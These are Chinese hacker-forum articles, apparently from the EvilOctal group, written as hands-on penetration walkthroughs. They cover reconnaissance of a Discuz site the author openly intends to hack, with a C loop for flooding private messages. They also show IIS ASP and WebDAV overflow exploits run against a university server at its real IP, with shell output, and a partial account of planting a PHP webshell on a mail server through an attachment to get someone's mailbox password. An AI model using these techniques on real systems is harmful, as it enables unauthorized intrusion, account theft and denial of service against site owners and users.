以前我在一篇文章中提到过这种情况意味着什么
1对方主机真的不在线，所以没办法回应。
2方主机安装了防火墙，屏蔽了ICMP报文，不反馈echo数据包。
3对方在注册表中进行了安全设置，不回复ICMP报文。
4对方在IPsec中拒绝了ping。
当然，其实意义是一样的，我只是强硬分开来罢了。以上是在对另外一篇文章的推断中写的，当时对方是IIS的机器。
当知道ip后我们就可以进一步的进行信息刺探，有人想用telnet了？呵，还不至于，弄清楚问题再说。
2、 查询地址
ip.hackway.net可以在线查
您的查询结果是：广东省 广州市
相关IP段信息 ***.***.***.*** － ***.***.***.*** 广东省 广州市
现在我们可以知道站点是服务器放在广州的(废话)
很多人觉得查询地址并不重要，这点我就不同意，做为对一个比较重视的安全主机的渗透，是很有必要知道他的地址的，如果出在大城市或者是省会，那么本身的站点的空间商就有可能是比较有后台的，那么渗透中就要把握尺度，避免一失足成千古恨。当然不排除本身这个老板也是个把主机放在N远的地方托管的人。但是多少对我的搜集后期信息会有帮助的。帮助体现在哪？后面我会告诉你的。
3、 下面我们在IP中直接输入
http://***.***.***.***/
回车后访问，弹出一个窗口。
phpMyAdmin running on localhost-1002
的密码输入登录框。图图2取消后页面无法访问。提示：
Welcome to phpMyAdmin 2.5.0-rc2
Wrong username/password. Access denied.
站点上很明显显示站长是北京的。好了，基本可以敲定是托管空间。
这里我们记下一个信息就是：phpMyAdmin 2.5.0-rc2
什么什么？说没看见，要是我徒弟我就给你一掌？一晃而过的信息都要用很敏锐的眼光抓住并且记录下来。其实第一遍搜集资料的时候我也没注意到这个信息(注意我不是只踩一次点的)，事实证明我忽略了一个重要的信息，后面就知道了。
4、 开始进一步刺探主机信息
telnet ***.***.***.*** 80回车
在没回显的情况下输入get得到的结果乱七八糟图4。好象有点敏感资料，但是看的不是很清楚。
哈哈，再来，拿出事先准备好的nc(不认识？我不会给你解释的)
nc -vv ***.***.***.*** 80
ip: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [ip] 80 (http) open
get
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to / not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>Apache/1.3.29 Server at xxx.xxx.net Port 80</ADDRESS>
</BODY></HTML>
看见上面了么，知道NC的威力了吧，我来来总结一下这里暴露了几个信息。
暴露了Apache/1.3.29这个敏感信息，很轻松确定了对方的系统基本是Unix类的主机。哟哟这个先不着急。但是记住了Apache/1.3.29这个信息(让你记住的都要记住，后面要总结的)。
现在看看这个xxx.xxx.net是个什么东西(当然不叫xxx拉 我修改拉)。输入看看？原来是空间商的服务主页转向到了http://www.xxxx.cn/。没劲，暂时不管。
旁白：Xuanliang[EST]在一旁凶神恶煞的说 还不用扫描器！
不急。不急：）用扫描器的时候还早哩。
推断：既然是托管？嘿，那就应该是个主机，至少提供ftp啥的。再来：
nc -vv ***.***.***.*** 21
220 ProFTPD 1.2.9rc1 Server (ProFTPD Default Installation) [bj1.xxxx.cn]
看看这些信息吧ProFTPD 1.2.9rc1 也要记下来。bj1.xxxx.cn原来是和http://www.xxxx.cn/ 一样的页面。估计是不同的主机，那就不是我们这次的对象就不管了。
5、 下面我们转向页面信息的搜索
也许有人觉得必要？呵……错了，后面会说为什么那么必要。先去空间商人的服务页看看。
发觉没？目前我们都还没提到过我要黑的那个http://www.target.com/站。这叫发散性信息搜索，就是从周边尽可能的外围搜集主机的情报。可是我独创的词哦(真是欠扁哪.....)
浏览了一下空间商提供服务的web中的bbs。服务商的论坛上竟然还有几个黑道兄弟在发帖？还有我认识的。看来这个商人还知道养几个Hacker来撑门面啊？
这里我们分析出来了一个问题：主机安全管理员可能是比较精细的一个人，至少我如果能进入必须要在日志上多做工夫。避免被追查。
现在终于可以看看那个白痴的页http://www.target.com/
Powered by Discuz! 3.1 ? 2002
看来不是那么简单的问题？Discuz口碑不错，但是现在看来却不那么好，刚暴露漏洞，但是这坛子的板式和服务都怎么看怎么怪。看来要社会工程学了。注册该站点，看见一个mm。泡她，(007的惯用招)。她说那个站是假冒Discuz! 3.1的标识的，因为商业版本没免费的云云。想起偶妹妹也说过，@#$%^&*其实我也没听明白。其实这个站也不大，就是一个论坛，两个美工的版本，然后姑且算它是2.0的免费版。回头如果不对再推翻这个假设。
注意：
在给一些大站踩点的时候他们用的都是自己的服务器，比如：浩方我就玩过(别误会，游戏我可一窍不通)。我都会把他的版权信息，站点地图，公司的联系方式，友情连接……这类在页角上最不容易被发现的重要的信息都看一遍，并做好记录。为什么看这里呢？我们通过一个站点的友情连接就能知道他的站点后台合作伙伴，比如浩方的友情连接里就有上海电信，不用想就是上海的主机最可能了，而且和电信关系非常。
因为我们做任何事情每一步都要慎重，更何况是渗透一些性质特殊的网络主机，国内国外都一样。
大凡企图渗透大型安全性高的站点、中等以上的商业站点、国外政府机关站点、电信相关的站点、国内的顶级安全公司等，如果一失足就进去坐牢了。牢底坐穿的！当然授权安全检测另当别论。
6、 现在非扫描性主机信息刺探就告一段落了
终于开始使用扫描软件做全方位的扫描。看见没？现在才用扫描器，那些不用大脑上来就扫的人哪……我汗。
SuperScan3(用4？不。只是想要端口扫描而已，3就够了。)
X-Scan2.3(这小子真落后！再汗，我这可不是普通的2.3啊。想要？问土豆要)
首先SuperScan3全部完成1-65535。只开了三个端口。扫描信息如下：
+ ***.***.***.***
|___ 21 File Transfer Protocol [Control]
|___ 220 ProFTPD 1.2.9rc1 Server (ProFTPD Default Installation) [bj1.xxxx.cn]..
|___ 22 SSH Remote Login Protocol
|___ SSH-1.99-OpenSSH_3.5p1 FreeBSD-20030201.
|___ 80 World Wide Web HTTP
|___ HTTP/1.1 302 Found..Date: Mon, 17 May 2004 05:25:25 GMT..Server: Apache/1.3.29 (Unix) mod_gzip/1.3.26.1a mod_watch/3.17 PHP/4.3
从这里看安全级别好象很高。立刻就下结论么？不，什么问题都不要过早定论，我们现在只是搜集信息，还没到收集漏洞和相关资料的阶段呢。
X-Scan2.3上，扫描模块针对unix进行修改(知道前期刺探有用了吧)，不要route信息(还记得前面让你找地址是广州的么？大脑里要有张中国的DNS图，记忆不下来自己再去找来多看看)，不要port刺探(刚Superscan3扫过，时间是很宝贵的)。
关于扫描器的配置不在我们所谈的话题内，自己研究去，开扫……一会儿。结果出来了，是无任何结果。真的，就是无任何结果(别以为我没选择无条件扫描)，呵……很有意思的，感觉到挑战了哦。现在信息搜集部分我们基本完成了。xscan竟然没帮上忙，心理很不舒服。
那么现在我们需要总结一下我们搜集到的信息了(前面我叫大家记下的)：
1.Apache/1.3.29
2.ProFTPD 1.2.9rc1
3.Discuz!
4.SSH-1.99-OpenSSH_3.5p1
5.phpMyAdmin 2.5.0-rc2
看看吧，这么少的端口的主机，竟然暴露了5条关键信息(什么什么，太少？大哥这已经很多了。你以为是黑蜂窝煤哪，全是眼儿？)，现在您应该问问自己是否有象我这样搜索一个站点的信息，这就是整个过程最关键的，后面搜索资料谁都会。当然这么慎重对一个站点进行分析，前提是比较敏感的站点这里我已经一再强调了。现在我们进入下一个环节。
二、资料搜索过程：
我们使用一些很棒的两个搜索站点进行资料搜索。
第一个就是传说中的世界搜索大王 http://www.google.com/
第二个就是我比较喜欢用来搜索国外资料的站点 http://www.alltheweb.com/ (不知道为什么突然访问不了了)
第三个是安全飞人SQL大哥推荐的国外安全站点 http://www.securiteam.com/ (真的很棒)
我们在这些站点里，都以以上的总结信息文字+“漏洞”两个字搜索资料，然后变换关键字长度。比如我要搜索phpMyAdmin 2.5.0-rc2的漏洞：
那么我首先输入“phpMyAdmin 2.5.0-rc2 漏洞”搜索到一部分，但是实在太少了。这样我们得减小搜索关键词。修改成“phpMyAdmin 漏洞”搜索到很多很多的资料，然后人工选择我们需要的版本。
这样来来回回几次，我们得到了海量般的漏洞资料、报告、攻击代码和攻击程序。可见这5条信息带给我们的已经是等比数列般增长的信息了。当然这不是一个高安全站点，在所有的站点中充顶算中高级，要是在uinx类的站点里，算是中低级的了，也难关有那么多黑界朋友用他的服务器。
先面我把收集到的信息举例(全部资料已经打包E给X了)：
1：80端口上 Apache/1.3.29 存Remote Root安全问题Exploits
 http://www.eviloctal.com/forum/show.asp?id=225&bd=30&totable=1
2：21端口上 ProFTPD 1.2.9rc1 存在Remote Root安全问题Exploits
 http://www.eviloctal.com/forum/show.asp?id=226&bd=30&totable=1
3：Discuz存在跨站、Cookies、消息未限等安全问题Exploits(说最新的)
 http://bbs.gliet.edu.cn/bbs/index.php?showtopic=22550
4：phpMyAdmin 2.5.0-rc2存在密码明文并有可能被直接url读取问题
 http://forum.hackway.net/index.php?showtopic=6211
搜集到最全的资料，其实这里就离真正的攻击就只差一步了。至于正式的渗透，我都还没做呢，等考完试有时间再写吧。这个站是我真的想黑的，所以知道内情的兄弟就不要泄露了。
三、最终总结
这样，一次入侵前的踩点就完成了。其实它并不全面，因为各个主机的情况是不同的，也许你还需要到大公司的垃圾堆去翻资料找信息，总之只是一个方面，给大家展示引导一下而已。全文完。
PS：另外说一个问题：
angel那里有一份资料的《Discuz论坛短消息未限制发送次数漏洞》http://www.4ngel.net/showarticle.php?id=15但这分资料有个地方写的不太对，这里指出来一下。问题出在C函数上。文中这一小段：
#include<stdio.h>
main()
{
int
        i;
for(i=0;i<55933;i++)
{
printf("\nwww.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test",i);
}
}
小人我是在TC下编译的，有三个错误。
1、main做为主函数少一return；
2、55933可能是vc下的最大值，我没试，但是tc下不行；
3、函数中变量i在printf的格式化中不起作用了；
修改为：
#include<stdio.h>
void main()
{
int
        i;
for(i=0;i<3000;i++)
{
printf("<a href=" http://www.target.com/pm.php?action=send&pmsubmit=submit&msgto=10000&subject=%d&message=ilovecat"
        target=_blank>www.target.com/pm.php?action=send&pmsubmit=submit&msgto=10000&subject=%d&message=ilovecat</a>",i);
}
}
tc下编译通过了。现在我在该论坛上注册一个叫10000的帐号就可以用它生成Cgi列表刷了。这个是老漏洞了自己看X去复习吧。
欢迎来到我们 邪恶八进制 技术论坛逛逛 地址么....嘿嘿....自己找：）
找不到的话 那你只好去http://www.bbnl.org/灌水了...


[原创]一份危险惊人的主机安全检测报告
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
注意：本文已经在正式发表的前两个星期就递交到电子工业学院网络中心处理修补了！所以我们这里才使用真实IP地址和网站名。原创于2003年5月.
[检测目标]
桂林电子工业学院 网址：http://www./**iet.edu.cn/
[检测目的]
1、 义务对母校首页服务器安全性进行评估；
2、 促进学校对服 务器网络安全的重视，进而促进对整个校园网安全的重视；
[检测仪器]
1、 安全焦点的著名安全检测软件X-SCAN2.3
2、 中联绿盟袁哥的溢出程序aspcode.exe
3、 孤独剑客前辈站点收集的WebDAV漏洞专用扫描器WebDAVScan.exe
4、 孤独剑客前辈站点收集的isno大虾写的溢出程序webdavx.exe
5、 工具操作系统WINDOWS2000和WINDOWSME
6、 必备连接工具netcat.exe
[检测原理]
根据安全检测软件和漏洞专查工具对预定主机进行安全检测，根据检测结果进行安全分析，以中联绿盟和官方的安全公告作为检测和修补建议的根据……
1、 绿盟科技于2002年04月13日 16:54:04发布的IIS .asp映射分块编码远程缓冲区溢出漏洞
受影响的系统：
Microsoft IIS 4.0- Microsoft Windows NT 4.0
Microsoft IIS 5.0- Microsoft Windows 2000
漏洞描述：
Microsoft IIS（Internet Information Server）是MS Windows系统默认自带的Web服务器软件。
IIS 4.0/5.0/5.1 ASP (Active Server Pages) ISAPI过滤器存在远程缓冲区溢出漏洞，远程攻击者可以利用此漏洞得到主机本地普通用户访问权限。
默认安装的IIS 4.0/5.0/5.1服务器加载了ASP ISAPI过滤器，它在处理分块编码传送（chunked encoding transfer）机制的代码中存在一个缓冲区溢出漏洞。攻击者通过提交恶意分块编码的数据可以覆盖heap区的内存数据，从而改变程序执行流程，执行任意攻击者指定的代码。此安全漏洞由微软自行发现，此漏洞与“Microsoft IIS 4.0/5.0 .asp映射分块编码远程缓冲区溢出漏洞”（ http://security.nsfocus.com/showQuery.asp?bugID=2551 ）有着相似的原理和后果。但是此漏洞同时也影响IIS 5.1，并且无法通过URLScan工具消除威胁。如果攻击者使用随机数据，可能使IIS服务崩溃（IIS 5.0/5.1会自动重启）。如果精心构造发送的数据，也可能允许攻击者执行任意代码。成功地利用这个漏洞，对于IIS 4.0，远程攻击者可以获取SYSTEM权限；对于IIS 5.0/5.1攻击者可以获取IWAM_computername用户的权限。
2、 微软公司于2003年3月17日发布的Microsoft IIS WebDAV 拒绝服3、 务漏洞
影响系统：
Microsoft IIS 5.0
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
Microsoft IIS 5.1
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows XP 64-bit Edition SP1
- Microsoft Windows XP 64-bit Edition
漏洞描述：
Microsoft IIS是一款HTTP服务程序，IIS 5.0/5.1包含WebDAV组件。WebDAV允许WEB开发队伍和其他工作组可以使用远程WEB服务器共同协作工作。IIS 5.0/5.1在为WebDAV请求分配内存时存在问题，远程攻击者可以利用这个漏洞进行拒绝服务攻击。由于IIS 5.0/5.1在为WebDAV请求分配内存处理不正确，如果攻击者发送畸形WebDAV请求给服务器，IIS会在服务器上分配一超大的内存给这个请求。通过发送多个相同形式请求，可导致消耗服务器上所有内存而停止对正常请求进行响应。此漏洞只有在服务器上运行了索引服务和服务器允许WebDAV请求的情况下才存在。
[检测过程]
1、 开起计算机，连接互联网，在本地计算机下打开一个命令行窗口，在C:WINDOWS>后面键入ping http://www.gliet.edu.cn/，可以看见反馈IP202.103.243.105，然后是超时反馈，丢失100%，这里要顺便说说，经常有人说PING不通是安装了防火墙，这里冰血要说，不一定！
（1） 对方主机真的不在线，所以没办法回应！
（2） 方主机安装了防火墙，屏蔽了ICMP报文，不反馈ECHO数据包！
（3） 对方在注册表中进行了安全设置，不回复ICMP报文！
（4） 对方在IPsec中拒绝了PING！
这个就是学校网站主机的IP地址！不管那么多了，反正得到IP了……
得到了IP，在我们开始扫描，启动X-SCAN2.3在扫描参数里面的基本设置填好IP记住，这样PING不通的在扫描的时候一定要选择“无条件扫描”！然后，为了全面检测，我们勾选了所有的检测选项，时间长点，但是慢慢来：）
打开QQ和其他人聊了会WEBDAV漏洞，
不久扫描结果出来了（为了简短只挑选了关键的部分）：
[202.103.243.105]: 端口21开放: FTP (Control)
[202.103.243.105]: 端口25开放: SMTP, Simple Mail Transfer Protocol
[202.103.243.105]: 端口80开放: HTTP, World Wide Web
[202.103.243.105]: 端口135开放: Location Service
[202.103.243.105]: 端口139开放: NETBIOS Session Service
[202.103.243.105]: 可能存在"IIS .asp映射分块编码远程缓冲区溢出"漏洞
[202.103.243.105]: "IIS漏洞"扫描完成, 发现 1.
另外，x-scan2.3是早先出的，似乎对WebDAV漏洞是无法检测（最近有更新版本可以检测到），至于这个我们使用上文提到的孤独剑客前辈站点提供的WebDAV漏洞专用工具包中的专用扫描器WebDAVScan.exe：
启动WebDAVScan.exe主程序，添入IP，开始扫描……瞬间提示发现WebDAV漏洞！！！！
下面我们对结果进行分析：
[202.103.243.105]: 端口21开放: FTP (Control)/*文件传输协议*/
冰血不知道这个是什么意思？对互联网开放FTP？是不是为了方便在网络外部的老师或者管理员管理，但是从安全角度来说真的是很危险，因为这样会留有隐患，还不知道有没有密码设置的简单的用户呢？
[202.103.243.105]: 端口25开放: SMTP, Simple Mail Transfer Protocol/*简单邮件传输协议*/
这个有可以利用的价值，但是并不是很大，因为POP此时没开放
[202.103.243.105]: 端口80开放: HTTP, World Wide Web
80端口可以用来刺探主机的相关信息，方法是打开一个命令行，在C:WINDOWS>后面键入telnet 202.103.243.105 80
指令如下：
C:\WINDOWS>telnet 202.103.243.105 80
然后键入get回车后得到服务器信息……不过这里我们采用X-SCAN刺探到的，因为扫描前其实冰血封情已经用过telnet 202.103.243.105 80，但是毕竟是电子类院校，刺探到的只有“**电子工业学院”几个字：（
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Sat, 12 Apr 2003 11:45:25 GMT Content-Length: 31218 Content-Type: text/html Expires: Sat, 12 Apr 2003 11:44:25 GMT Set-Cookie: ASPSESSIONIDGGGQQLRQ=CHBMFCPDNOAMCILKIBINPLIA; path=/ Cache-control: private Connection: close Proxy-Connection: close
（其实X-SCAN刺探的更加详细）
[202.103.243.105]: 端口135开放: Location Service
没什么太值得利用的，这次主要不是它，不过这里可以大致揣测对方主机的系统类型……
[202.103.243.105]: 端口139开放: NETBIOS Session Service
这次的重点不是它，但是还是顺便介绍一下，98下NETBIOS有个密码校检BUG，只检测共享密码的第一个字，只要用特定的工具就可以对共享密码长驱直入，但是从上面看似乎是NT架构的，不过是可以用网际进程连接了……
[202.103.243.105]: 可能存在"IIS .asp映射分块编码远程缓冲区溢出"漏洞
这里开始说这整个安全检测的重点，可以看到暴露了IIS .asp映射分块编码远程缓冲区溢出漏洞，前面已经介绍了这个漏洞的危险性这里就不赘述了。
[202.103.243.105]: Microsoft IIS WebDAV 拒绝服务漏洞
是2003年内3月最新发布的，前面也事先说明白了，我们这里就也不多说了！它的恐怖和严重后果冰血封情会在后面的数据处理让大家看看……
[数据处理]
以下是在模拟系统中做的,否ASP溢出要提升权限!
当冰血第一次注意到母校的主服务器存在此漏洞的时候就和陈老师说了，陈老师给了我很大的鼓励，并告诉我应该将报告递交到网络中心，而且陈老师在非典封校期间给冰血的安全检测提供宽松的环境，从而为此重大安全漏洞的及时修补画上了重要圆满的一笔！
鸣谢：桂林电子工业学院优秀的年级主任陈文武老师提供正确的思想引导！
1、这里很明显我们针对的是"IIS .asp映射分块编码远程缓冲区溢出"漏洞；
对于这个漏洞的溢出方法，主要是用aspcode.exe程序傻瓜式的就可以溢出，冰血封情还是大概说说吧具体过程如下：
运行aspcode.exe。
D:\tools>aspcode
IIS ASP.DLL OVERFLOW PROGRAM 2.0
copy by yuange 2002.4.24.
welcome to my homepage http://yuange.year.net/
welcome to http://www.nsfocus.com/
usage: aspcode <server> [aspfile] [webport] [winxp]
please enter the web server: 202.103.243.105
please enter the .asp filename:index.asp
（如果不行还可以尝试default.asp、home.asp、index.asp、login.asp、search.asp、localstart.asp…学校是index.asp，但是不知道完全可以穷举，就那么几个）
nuke ip: 202.103.243.105 port 80
shellcode long 0x13e7
packet long:0x13e7
send packet 71826 bytes
recv:
c:inetpubwwwrootiisstart.asp
ok!recv 117 bytes
(这里按若干下Enter就可以了)
C:\WINNT\SYSTEM32>
（溢出成功）
剩下的就是添加新的管理员的帐号密码了！成功入侵！但是这里不管，后面更精彩：）
1、 Microsoft IIS WebDAV漏洞
鸣谢：这里感谢我的师傅、中国黑客联盟网络安全专家绿冰(greenice)提供相关技术指导！
具体入侵过程如下：
D:>webdavx3 202.103.243.105
IIS WebDAV overflow remote expoit by isno@xfocus.org start to try offset.
If STOP a long time, you can press ^C and telnet 202.103.243.105 7788
Try offset:0
Try offset:1
Try offset:2
Try offset:3
Waiting for iis restart……………………………………………………………………
Try offset:4
Try offset:5
Try offset:6
Waiting for iis restart……………………………………………………………………
Try offset:7
Waiting for iis restart……………………………………………………………………
Try offset:8
^C
(溢出成功……)
D:>nc -vv 202.103.243.105 7788
202.103.243.105: inverse host lookup failed: h-errno 11004:NO_DATA
(UNKNOWN)[202.103.243.105] 7788 (?) open
Microsoft Windows 2000 [version 5.00.2195]
?版权所有 1985-2000 Mcrosoft Corp.
c:\WINNT\system32>
看到了哦……
好了，先适可而止，毕竟是自己学校的主机！
清理足迹，打扫战场，整理材料，准备上交吧……

[检测建议]
冰血在和网络安全专家孤独剑客前辈谈论修补漏洞的时候，他说：从安全的角度考虑，如果“可能存在”就应该修补！孤独前辈的话铭记在心（有拍马屁的嫌疑，生鸡蛋伺候着~）
鸣谢：这里感谢中国网络安全专家孤独剑客前辈提供理论支持！
1、“IIS .asp映射分块编码远程缓冲区溢出漏洞”的修补建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
如果您不需要使用ASP脚本，您应该立刻删除".asp"的脚本映射。
可以参考如下步骤删除上述脚本映射：
1. 打开Internet 服务管理器
2. 右击你的服务器，在菜单中选择"属性"栏
3. 选择"主属性"
4. 选择 WWW 服务 | 编辑 | 主目录 | 配置
5. 在扩展名列表中删除".asp"项。
6. 保存设置,然后重启IIS服务。
厂商补丁：
Microsoft已经为此发布了一个安全公告（MS02-018）以及相应补丁:
MS02-018：Cumulative Patch for Internet Information Services (Q319733)
链接：http://www.microsoft.com/technet/security/...in/MS02-018.asp
补丁下载：
Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release...ReleaseID=37931
2、Microsoft IIS WebDAV 拒绝服务漏洞
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
使用微软提供的IIS Lockdown工具可能可以防止该漏洞。
厂商补丁：
Microsoft已经为此发布了一个安全公告（MS02-062）以及相应补丁:
MS02-062：Cumulative Patch for Internet Information Service (Q327696)
链接：http://www.microsoft.com/technet/security/...in/MS02-062.asp
补丁下载：
IIS 4.0:
http://www.microsoft.com/Downloads/Release...ReleaseID=43566
IIS 5.0:
http://www.microsoft.com/Downloads/Release...ReleaseID=43296
IIS 5.1:
32-bit:
http://www.microsoft.com/Downloads/Release...ReleaseID=43578
64-bit:
http://www.microsoft.com/Downloads/Release...ReleaseID=43602
（其实孤独前辈站点提供的检测包中就有补丁提供！！）
[检测讨论]
繁忙紧张的主机安全检测做完了，这样的结果冰血封情不用说什么了吧？我的检测报告用这个题目，也不为过吧？咱们可是电子类院校……唉
好了，冰血的话就说到这里了，我还是个学生面对这样的问题是很苍白无力的：）主要还看管理员是否重视！！对么？：）
最后！欢迎大家来我的论坛交流！中国暗域网络：http://forum.hackway.net/

[检测后记]
冰血封情为了认真的做这个检测报告，参考了大量的安全书籍，这里感谢这些书的作者！
1、北京希望电子出版社的《黑客任务实战 服务器篇》
冰血参考了该书363页有关.ASP缓冲区溢出漏洞的资料和相关观点，在此表示感谢！
2、 北京希3、 望电子出版社的《网络攻击防护编码设计》
冰血参考了该书39页有关缓冲区溢出攻击的资料和相关观点，在此表示感谢！
4、北京科海集团公司出版社的《黑客就这么几招第2版》
冰血参考了该书137页第六章有关缓冲区溢出和444页Finger漏洞资料，在此表示感谢！
5、中国电力出版社的《入侵特征与分析》
冰血参考了该书228页14章有关缓冲区溢出攻击的资料和相关观点，在此表示感谢！
9、 四川电子音像出版中心的《Windows 9x/NT/2000/XP 常见漏洞攻击与防范实战》
冰血参考了该书183页有关缓冲区溢出和206页IIS漏洞修补的资料，在此表示感谢！
10、 人民邮电出版社的《聚焦黑客——攻击手段与防护策略》
冰血参考了该书325页有关缓冲区溢出攻击的资料，在此表示感谢！
11、 人民邮电出版社的《个人用网安全与黑客防范技术》
冰血参考了该书170页有关Finger协议和308页IIS安全建议，在此表示感谢！
10、北京希望电子出版的《解读黑客 黑客是怎样炼成的》
冰血参考了该书18页第2章缓冲区溢出的资料及其部分观点，在此表示感谢！
11、电子工业出版社的《居安思危——电脑防黑防毒急救》
冰血参考了该书284页缓冲区溢出攻击资料及其相关理论，在此表示感谢！
12、民航出版社的《黑客过招》
冰血参考了该书63页缓冲区溢出攻击和136页Finger协议资料，在此表示感谢！
此外，冰血封情为了认真的做这个检测报告，还向很多高手进行求教，取得他们权威的理论支持，这里感谢这些朋友、前辈！
1、 感谢我的师傅、中国黑客联盟网络安全专家绿冰（greenice）先生给出技术咨询支持！
2、 感谢中国著名网络安全专家孤独剑客（janker）前辈给出安全漏洞修补的理论支持！
灌水广告：
——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情<EvilOctal>
——Be powered by Hackway Power of Cn & EvilOctal Security Group EvilOctal
——欢迎访问 http://www.hackway.net/ & http://www.eviloctal.com/


一次渗透入侵某邮局过程（LINUX8.0）

自从我承担起一个项目的负责人后，原本没有规律的生活现在更变的没有头绪了........时间的因素决定了自己无法去做一些想做的事情。但是有些时候又不得不去做一些不想做的事情。。。。。。
得到一个MAIL信箱地址，我想拿到这个信箱的密码。至于什么原因促使我必须要拿到此信箱的密码我在这里就保密。。。。。
要得到一个信箱的密码？暴力破解？枚举探测？NO！
一听暴力、枚举，我心都麻。。。。我害怕暴力、更害怕枚举：）
首先打开此信箱的登陆地址 http://mail.xxx.com.cn
简单了看了一下也没发现什么漏洞，在打开其主页http://www.xxx.com.cn
看看全都是一些HTML页面，连ASP都没有，心想这下不好办了，ASP代码漏洞，数据库插入漏洞统统派不上用场，好不容易有个论坛栏目还是空地，估计还没开。按惯例吧，看看是什么系统，心想应该是LINUX的吧，一般像邮局这些单位都比较喜欢用这类系统
ping www.xxx.com.cn
Pinging www.xxx.com.cn [61.xxx.xxx.xxx] with 32 bytes of data:
Reply from 61.xxx.xxx.xxx: bytes=32 time<60ms TTL=60
Reply from 61.xxx.xxx.xxx: bytes=32 time<60ms TTL=60
Reply from 61.xxx.xxx.xxx bytes=32 time<60ms TTL=60
Reply from 61.xxx.xxx.xxx bytes=32 time<60ms TTL=60
接着 telnet 61.xxx.xxx.xxx 80
然后Ctrl+c 中断一次然后按回车，返回下列信息
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>

 to /index.html not supported.<P>
Invalid method in request 
<P>
<HR>
<ADDRESS>Apache/1.3.12 Server at www.xxx.com.cn Port 80</A
DDRESS>
</BODY></HTML>

Connection to host lost.
看到了我想了解到的信息 Apache/1.3.12 ，WEB是用APACHE架设的，从PING值以及80返回的信息来看，判断对方的主机应该是linux系统。（此以上判断方法只是做为常用的判断手法，但不包含所有的服务器都可以用此方法判断出正确的xx作系统，有些管理员没事干的时候可以改改PING值，改改WEB返回的版本信息，那么你得到的将会是一个错误的信息了）
从WEB的整个站点来看没有什么可利用的东西，只开了80、25、110端口，没开远程TELNET管理，说不定还有_blank">防火墙。估计远程溢出等等程序都没有利用的余地了。没办法只好在回到mail.xxx.com.cn上看看，看着信箱登陆页面发呆着。。。。输入信箱用户名xxx密码：假密码（如果这时候要是碰巧输入的密码是对的那会如何？）
希望可以返回一些有用的错误信息，可见也很小气，只返回了，密码或者用户名错误，什么都没了。。。无语。。。。。。
眼睛一亮，上面这么大的图片写着免费注册，为什么不注册一个进去看看呢？正高兴的去点，怎么也点不开，还以为鼠标坏了呢。原来管理员把注册的连接地址去掉了，不允许注册。这是过分。。。
打开此页面仔细查看原代码，希望可以找到我需要的信息：（
<FORM name=login action="/mail/login.php" method=post>
<INPUT TYPE="hidden" NAME="domain" VALUE="mail.xxx.com.cn">
<TABLE height=163 cellSpacing=0 cellPadding=0 width=427
background=/images/bg.gif border=0>
<TBODY>
<TR vAlign=center>
<TD colSpan=2 height=50>
<DIV align=center><IMG height=24
src="/images/small_title.gif" width=82><BR>
</DIV>
<HR width="90%" SIZE=1>
</TD></TR>
<TR>
<TD align=right width="50%">用户名： <INPUT maxLength=15
size=15 name=name> </TD>
<TD width="50%"><IMG height=20
src="/images/r_mail.gif" width=120></TD>
</TR>
<TR>
<TD align=right width="50%">口　令： <INPUT type=password
maxLength=12 size=15 name=passwd> </TD>
<TD width="50%">　 <INPUT class=button type=submit value=进　入 name="login" onClick="Login(this.form)">
   <!--<A
href="getpw.html"><FONT
color=#669966>忘记密码</FONT></A>--></TD>
</TR>
<TR>
<INPUT TYPE="hidden" NAME="Lang" VALUE="gb">
<TD vAlign=top align=right width="50%"><INPUT
type=checkbox CHECKED name=sameip> IP安全</TD>
<TD width="50%"><!--　<A
href="/cert/index.html"><IMG
height=31 src="/images/cmd_register.gif" width=120
border=0></A>--></TD>
</TR></TBODY></TABLE></FORM></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
看到了mail/login.php、getpw.html与cert/index.html
第一个是验证登陆页面login.php，请求后没找到可利用漏洞，getpw.htm？难道是找回密码的页面？可惜请求此页面提示找不到该页，我想是管理员删除了吧。在接着请求cert/index.html 老天！真好，竟然是注册新用户的页面。（PS：我在想为何管理员删除了getpwd.htm为何留下了这个申请页面？难道是为了方便自己开新用户？那他用ADMIN帐号直接开用户不是更好？不解中。。。）
填好相关信息我注册了一个帐号为 test密码为test，登陆进去了高兴。。。。。。别人是不是在想就注册一个普通的信箱用户也高兴。。。。。：（
我的思路是上传一个webshell上去，然后就好办了。但是怎么上传上去呢，这个是个问题。注意有了，看到他是支持PHP的，那么APACHE的目录应该是不支持ASP的，找了个PHP的WEBSHELL。接着，邮件，发给谁？当然是发给自己了 上传wehbshell.php然后OK点发送，就自己给自己发了一封信，附件里载着我的希望。。。webshell.php，现在的思路是如何知道webshell.php的真实访问地址，凭着入侵积累的经验，不停止的对附件构造伪造的请求，终于返回了我需要的错误信息，判断一下便的到了真实的地址为
http://mail.xxx.com.cn/file/webshell.php
好了，得到一个SHELL了
uname 得到确实是linux的系统
ls -l
看一下文件
